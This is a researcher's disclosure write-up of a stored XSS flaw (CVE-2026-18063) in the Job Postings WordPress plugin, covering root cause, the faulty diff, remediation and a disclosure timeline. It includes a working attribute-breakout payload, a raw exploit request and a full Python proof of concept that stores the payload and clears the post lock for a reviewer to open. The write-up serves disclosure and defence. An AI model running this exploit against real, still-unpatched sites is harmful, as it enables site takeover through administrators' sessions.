Skip to content

CVE-2026-18063: Job Postings Stored XSS via the position_button Field

TL;DR

  • I found a Contributor+ stored cross-site scripting vulnerability in Job Postings, a WordPress plugin with over 10,000 active installs.
  • The plugin saves the position_button field with no sanitisation, then renders it back into a double-quoted value attribute in the job editor with only strip_tags() applied.
  • strip_tags() leaves quotation marks alone, so a Contributor can close the attribute early and add their own event-handler attributes.
  • Release 2.8.1 had removed the htmlspecialchars() call that used to escape this field, so a value that was inert in 2.8 became live markup.
  • The payload runs on its own when an administrator opens the job draft, using a CSS animation to fire onanimationstart with no click.
  • The vulnerable code arrived in 2.8.1 and is still present in the current 2.8.2, so the verified affected range is >= 2.8.1, <= 2.8.2, assigned CVE-2026-18063, with no working fix at the time of writing.

Summary

Job Postings was vulnerable to authenticated Contributor+ stored cross-site scripting because the position_button field was saved without sanitisation and rendered into a double-quoted HTML attribute in the job editor with only strip_tags() applied.

  • CVE: CVE-2026-18063
  • Product: Job Postings
  • Active Installs: 10,000+
  • Vulnerability: Authenticated Stored Cross-Site Scripting
  • Affected Versions: >= 2.8.1, <= 2.8.2
  • Fixed In: Unpatched (present through 2.8.2)
  • CVSS Severity: 6.4 (medium)
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Required Privilege: Contributor+
  • Reported: May 25, 2026
  • NVD Published: September 15, 2026

Introduction

[A]I was reading through the Job Postings release history, which carries a long run of Contributor-level stored XSS fixes, to see what the 2.8.1 update had actually changed. The release read like an escaping cleanup, and most of the diff backed that up. In the job editor metabox, the plugin swapped htmlspecialchars() for esc_html() case after case, which comes out the same for a value dropped inside a double-quoted attribute.

One branch did not get the swap. The custom_button case had its htmlspecialchars() deleted with nothing put back, and the field it renders is written to post meta straight from $_POST. That combination is all a Contributor needs.

Root Cause Analysis

A Default Field That Stores Raw Input

position_button is one of the plugin's built-in job fields, registered in class-job-postings.php.

// class-job-postings.php
'position_button' => array(
    'type'  => 'custom_button', // [1] Rendered by the custom_button case.
    'name'  => _x('Button', 'jobs-field', 'job-postings'),
    'key'   => 'position_button',
    'sort'  => 'sort-disabled' // [2] Sits in the disabled column by default.
    ),

The type at [1] decides which rendering branch draws the field in the editor. The sort default at [2] places it in the plugin's disabled column, but the field is still part of the metabox form, so its input is submitted with every save regardless of where it sits.

Saving a job runs a single loop over every registered field, in include/class-job-add-edit.php.

// include/class-job-add-edit.php (save handler)
switch ($type) {
    case 'checkboxes':
        // ... checkbox fields handled explicitly.
        break;

    default:
        if( isset( $_POST[$key] ) ){
            $field_key = $_POST[$key]; // [3] The raw POST value.
            update_post_meta( $post_id, $key, $field_key ); // [4] Stored with no sanitiser.
        }
        break;
}

Only checkboxes gets its own handling. Everything else falls to the default case, which reads the value at [3] and writes it to post meta at [4] untouched. A few named fields such as position_title are re-read and sanitised further down the same function, but position_button has no such handler, so whatever the Contributor posts is what gets stored.

Rendered Into an Attribute

When the editor loads a job, the stored values come back through get_post_custom() and each field is drawn by its type. The custom_button case is where the stored value reaches the page.

// include/class-job-add-edit.php (custom_button render)
$value = isset( $values[$key] ) ? strip_tags( $values[$key][0] ) : $name; // [5] strip_tags() is the only filter.
$style  = isset( $values[$key.'-style'] ) ? esc_attr( $values[$key.'-style'][0] ) : 'primary-style';
echo '<input class="jp-input '.esc_attr($style).'" autocomplete="off" type="text" name="'.esc_attr($key).'" id="'.esc_attr($key).'" value="'.$value.'" placeholder="'.esc_attr($placeholder).'" '.esc_attr($req).'/>'; // [6] $value is the only unescaped attribute.

The value passes through strip_tags() at [5] and nothing else. Every other piece of the input at [6] goes through esc_attr(), but $value is concatenated in raw. strip_tags() removes anything that looks like a tag, yet it leaves quotation marks alone, so a stored value that contains a " closes the value attribute and everything after it is parsed as more attributes on the same <input>.

Storing " style=animation-name:rotation onanimationstart=alert(document.domain) a=" produces this in the administrator's editor.

<input class="jp-input primary-style" autocomplete="off" type="text" name="position_button" id="position_button" value="" style=animation-name:rotation onanimationstart=alert(document.domain) a="" placeholder="" />

The opening quote ends value, and style and onanimationstart become real attributes. The rotation animation is not defined by the plugin. It is a keyframes rule that WordPress ships in wp-admin/css/forms.css, so naming it starts an animation the moment the input renders, which fires onanimationstart with no interaction from the administrator. The request also sets the field's sort value to an active column, since the disabled column the field defaults to is hidden and a hidden element runs no animation.

Where the Escaping Went

The same field was safe one release earlier. In 2.8 the value passed through htmlspecialchars() right after strip_tags(), and the 2.8.1 cleanup deleted that line. The diff below is dedented for readability.

// include/class-job-add-edit.php (custom_button render)
 $value = isset( $values[$key] ) ? strip_tags( $values[$key][0] ) : $name;
-$value = htmlspecialchars($value);
 $style     = isset( $values[$key.'-style'] ) ? esc_attr( $values[$key.'-style'][0] ) : 'primary-style';

In 2.8 that call turned a " into &quot;, which kept the value inside the attribute and made the field inert. Elsewhere in the same 2.8.1 changes the author replaced htmlspecialchars() with esc_html(), which is an equivalent guard for this context. Here the line was removed and no replacement was added, so the field lost its only output encoding while still storing raw input.

Impact

A Contributor can save a job draft that runs JavaScript in the browser of whoever opens it in the editor. Job drafts are meant to be reviewed by an editor or administrator, so the expected victim holds a privileged session.

In an administrator session the payload can drive any nonce-protected /wp-admin action, including creating a new administrator account, which gives a Contributor a route to full site takeover. The script fires on its own when the draft is opened, so the only condition is a privileged user reviewing the submission.

Exploitation

Preconditions

  • Job Postings >= 2.8.1, <= 2.8.2 is active. The path is unchanged across both releases.
  • The attacker has Contributor credentials.
  • An editor or administrator opens the attacker's job draft in the editor.

Manual Request

Storing the payload is a single authenticated post to the normal job save endpoint. The field value is URL-encoded on the wire and shown decoded here.

POST /wp-admin/post.php HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in_<hash>=<contributor session>

post_ID=8&_wpnonce=<wp_nonce>&post_type=jobs&post_status=draft&post_title=PoC+Job&position_button=" style=animation-name:rotation onanimationstart=alert(document.domain) a="&sort-position_button=sort-left-1&jp-meta_box_nonce=<jp_nonce>&action=editpost&originalaction=editpost&original_post_status=auto-draft&save=Save+Draft

The two nonces come from the new-job page the Contributor can already open. The sort-position_button value moves the button into an active column so the input renders and the animation runs.

PoC

The script accompanying this writeup logs in as the Contributor, creates a job draft, stores the payload, and prints the editor URL a reviewer would open. It also clears the post lock so the draft opens without a "someone else is editing" prompt.

#!/usr/bin/env python3
"""Job Postings 2.8.1-2.8.2 Contributor+ stored XSS via the position_button field."""

import argparse
import re
import sys
import time

import requests


def login(session, target, username, password):
    session.post(
        f"{target}/wp-login.php",
        data={
            "log": username,
            "pwd": password,
            "wp-submit": "Log In",
            "redirect_to": f"{target}/wp-admin/",
            "testcookie": "1",
        },
        cookies={"wordpress_test_cookie": "WP+Cookie+check"},
        allow_redirects=True,
    )
    if not any("wordpress_logged_in" in c for c in session.cookies.get_dict()):
        sys.exit("[-] Login failed.")
    print(f"[+] Authenticated as {username}")


def extract(pattern, text):
    match = re.search(pattern, text)
    return match.group(1) if match else None


def store_payload(session, target):
    editor = session.get(f"{target}/wp-admin/post-new.php?post_type=jobs")
    if editor.status_code != 200:
        sys.exit(f"[-] Could not open the new-job page (HTTP {editor.status_code}).")

    post_id = extract(r"post_ID.*?value=['\"](\d+)", editor.text)
    jp_nonce = extract(r"jp-meta_box_nonce.*?value=\"([^\"]+)\"", editor.text)
    wp_nonce = extract(r"_wpnonce.*?value=\"([^\"]+)\"", editor.text)
    user_id = extract(r"userId\s*=\s*\"?(\d+)", editor.text)
    if not all([post_id, jp_nonce, wp_nonce]):
        sys.exit("[-] Could not read the post ID or nonces.")

    payload = '" style=animation-name:rotation onanimationstart=alert(document.domain) a="'
    session.post(
        f"{target}/wp-admin/post.php",
        data={
            "post_ID": post_id,
            "_wpnonce": wp_nonce,
            "post_type": "jobs",
            "post_status": "draft",
            "post_title": "XSS PoC Job",
            "position_button": payload,
            "sort-position_button": "sort-left-1",
            "jp-meta_box_nonce": jp_nonce,
            "action": "editpost",
            "originalaction": "editpost",
            "original_post_status": "auto-draft",
            "save": "Save Draft",
        },
        allow_redirects=True,
    )

    edit_url = f"{target}/wp-admin/post.php?post={post_id}&action=edit"
    if "onanimationstart=alert(document.domain)" not in session.get(edit_url).text:
        sys.exit("[-] Payload not found in the rendered editor.")
    print(f"[+] Payload stored in job {post_id}.")

    if user_id:
        lock = f"{int(time.time())}:{user_id}"
        session.post(
            f"{target}/wp-admin/admin-ajax.php",
            data={
                "action": "wp-remove-post-lock",
                "post_ID": post_id,
                "_wpnonce": wp_nonce,
                "active_post_lock": lock,
            },
        )

    print(f"[*] Reviewer trigger URL: {edit_url}")


def main():
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("target", help="Target WordPress URL")
    parser.add_argument("username", help="Contributor username")
    parser.add_argument("password", help="Contributor password")
    args = parser.parse_args()

    session = requests.Session()
    login(session, args.target.rstrip("/"), args.username, args.password)
    store_payload(session, args.target.rstrip("/"))


if __name__ == "__main__":
    main()

Run it with Contributor credentials.

python3 job-postings-position-button-xss.py http://target.example contributor 'contributor-password'
[+] Authenticated as contributor
[+] Payload stored in job 5.
[*] Reviewer trigger URL: http://target.example/wp-admin/post.php?post=5&action=edit

Demo

Opening the draft as an administrator draws the input and starts the animation, and the handler runs straight away.

alert(document.domain) firing in the Job Postings editor while logged in as administrator

Remediation

There is no working fix. Version 2.8.2 shipped on August 26, 2026 and its changelog even lists a fix for this exact issue.

Fix for: "Authenticated (Contributor+) Stored Cross-Site Scripting via 'position_button' Parameter"

The release only added esc_attr() to a separate button-URL setting and left the custom_button value render and the raw default save path untouched, so the payload still runs on 2.8.2. Wordfence published the affected range as <= 2.8.1, the latest version when the CVE was assigned. Releases before 2.8.1 escape this field and 2.8.2 does not, so the range that actually carries the bug is >= 2.8.1, <= 2.8.2.

Until a real fix ships, treat Contributor and Author job submissions as untrusted and avoid opening their drafts in the editor, since the payload only runs when someone does.

The render needs one escaper on the value.

// include/class-job-add-edit.php (custom_button render)
echo '<input class="jp-input '.esc_attr($style).'" autocomplete="off" type="text" name="'.esc_attr($key).'" id="'.esc_attr($key).'" value="'.esc_attr($value).'" placeholder="'.esc_attr($placeholder).'" '.esc_attr($req).'/>';

Disclosure Timeline

  • May 25, 2026: Reported to the Wordfence bug bounty program.
  • July 28, 2026: Triage started, the report was validated, and CVE-2026-18063 was assigned.
  • July 31, 2026: Bounty awarded ($5).
  • August 26, 2026: Job Postings 2.8.2 released, leaving the position_button path unchanged.
  • September 14, 2026: Published by Wordfence as CVE-2026-18063.
  • September 15, 2026: Indexed by NVD.

Conclusion

This bug arrived in a release that set out to tighten escaping. A pass that replaced htmlspecialchars() with esc_html() almost everywhere did its job, but on one branch the guard was deleted instead of replaced, and that branch happened to render a field a Contributor can store. A plugin with this many prior XSS fixes made the diff worth reading, and the miss came down to a single removed line rather than anything subtle in the logic.

References